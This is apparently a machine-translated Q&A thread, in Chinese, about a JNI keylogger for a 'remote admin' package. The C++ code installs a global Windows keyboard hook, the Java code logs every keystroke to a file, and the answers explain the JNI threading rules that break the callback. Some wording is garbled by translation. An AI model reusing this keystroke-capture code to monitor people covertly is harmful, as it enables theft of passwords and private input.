2011-04-24 56 views
0

我正在编写一个JNI密钥记录器,其原生代码如下所示。需要关于jni代码的帮助(从本机代码调用java方法)

#include "com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper.h" 
#include "com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_KeyListener.h" 
#include <cstring> 
#include <windows.h> 
#include <iostream> 
#include <stdio.h> 

HINSTANCE hinst; 
HHOOK hhk; 
JNIEnv * thisEnv; 
jclass thisClazz; 
jmethodID mid; 

LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int ,WPARAM , LPARAM); 

BOOL WINAPI DllMain( __in HINSTANCE hinstDLL, 
    __in DWORD fdwReason, 
    __in LPVOID lpvReserved 
) { 

hinst = hinstDLL; 
return TRUE; 
} 

LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode,WPARAM wParam, LPARAM lParam){ 
    thisEnv->CallStaticVoidMethod(thisClazz, mid, nCode); 
    LRESULT RetVal = CallNextHookEx(hhk, nCode, wParam, lParam); 
    return RetVal; 
} 

JNIEXPORT void JNICALL Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_unhookKeyListener 
    (JNIEnv * env, jclass clazz){ 
    thisEnv = NULL; 
    thisClazz = NULL; 
    mid = NULL; 
    UnhookWindowsHookEx(hhk); 
} 

JNIEXPORT void JNICALL Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener 
    (JNIEnv * env, jclass clazz){ 
    thisEnv = env; 
    thisClazz = clazz; 
    mid = env->GetStaticMethodID(clazz, "onKeyPress", "(I)V"); 
    hhk = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,0); 
} 

意图的程序是通知的Java程序从本机代码(一个静态的方法OnKeyPress)其中,I会记录密钥并通知用户。我将首先调用hookKeyListener(本地版本:Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener),我将在其中注册窗口钩子并存储所有参数(env,jclass和mid)。在回调(KeyboardProc)我会使用以前存储ENVJCLASS中旬通知Java程序。最后取消注册。

现在我面临的问题是,Java方法(静态)不会从本地代码调用。以下是我的观察。

1>若在Java_com_webspur_rmtadmin_java_app_keylogger_KeyloggerHelper_hookKeyListener调用Java方法中,成功地调用Java方法(这意味着我可以调用静态方法)

2>我写了一些测试代码在KeyboardProc(回叫)等创建文件和记录键进入它,然后它工作正常(这意味着胡克已正确注册,并且在按下按键时也会被调用)

但是我无法从CallBack(KeyboardProc)调用java代码。我对存储的变量有疑问(env,jClass,mid) - 我可以将这些参数存储到全局变量吗?如果没有,那么我怎样才能从本地代码调用java程序?任何帮助表示赞赏。

下面是我想从本机代码调用的java代码。

package com.webspur.rmtadmin.java.app.keylogger; 

import java.io.BufferedWriter; 
import java.io.File; 
import java.io.FileWriter; 
import java.util.HashMap; 

public class KeyloggerHelper { 

    static{ 
     System.loadLibrary("KeyHookLibrary"); 
    } 

    public interface KeyListener{ 
     public void onKeyPress(int keyCode); 
    } 

    private static boolean started = false; 
    private static KeyListener keyListener = null; 
    private static BufferedWriter writer = null; 
    private static HashMap<Integer, String> specialKeys = new HashMap<Integer, String>(); 

    public static void init(){ 
     try{ 
      File logFile = new File("./resources/leylog.txt"); 
      if(!logFile.exists()) 
       logFile.createNewFile(); 
      writer = new BufferedWriter(new FileWriter(logFile, true)); 
     }catch (Exception e) { 
      e.printStackTrace(); 
     } 
    } 

    public static void start(KeyListener listener){ 
     keyListener = listener; 
     if(!started) 
      startInternal(); 
    } 

    public static void stop(){ 
     keyListener = null; 
     if(started) 
      stopInternal(); 
    } 

    private static void stopInternal() { 
     try{ 
      unhookKeyListener(); 
      started = false; 
      writer.close(); 
     }catch (Exception e) { 
      e.printStackTrace(); 
     } 
    } 

    private static native void unhookKeyListener(); 

    private static void startInternal(){ 
     hookKeyListener(); 
     started = true; 
    } 

    private static native void hookKeyListener(); 

    public static void onKeyPress(int keyCode){ 
     try{ 
      if(keyListener!=null) 
       keyListener.onKeyPress(keyCode); 
      writer.append((char)keyCode); 
     }catch (Exception e) { 
      //ignore.. 
     } 
    } 
} 

回答

1

您可以在全局变量存储唯一的事情是:

  1. 领域和方法ID
  2. 创建明确

您不能存储ENV全球裁判,你可以”存储作为参数交给你的本地参考。

您不知道您将在事件处理程序中调用哪个线程,因此您必须明确附加。

总之,请参阅http://java.sun.com/docs/books/jni/html/invoke.html

+0

谢谢。这正是我想要的。 – hnm 2011-04-24 13:46:28

0

太多的代码让我烦恼阅读,交配。

我不知道为什么你需要本地代码。为什么不用Java编写整个东西,因为它可以响应键盘上的每个按键?

您觉得需要原生代码,但回调Java的要求应该是一个提示:不要这样做。你过着复杂的生活而没有回报。想'简单'。

+0

在java中,没有办法注册全局键监听器。 Java只能在拥有焦点时才能听按键,所以本地代码 – hnm 2011-04-24 11:44:47

+1

在关键事件中与Java展开战争不太可能会带来满意的结果。 – bmargulies 2011-04-24 12:37:18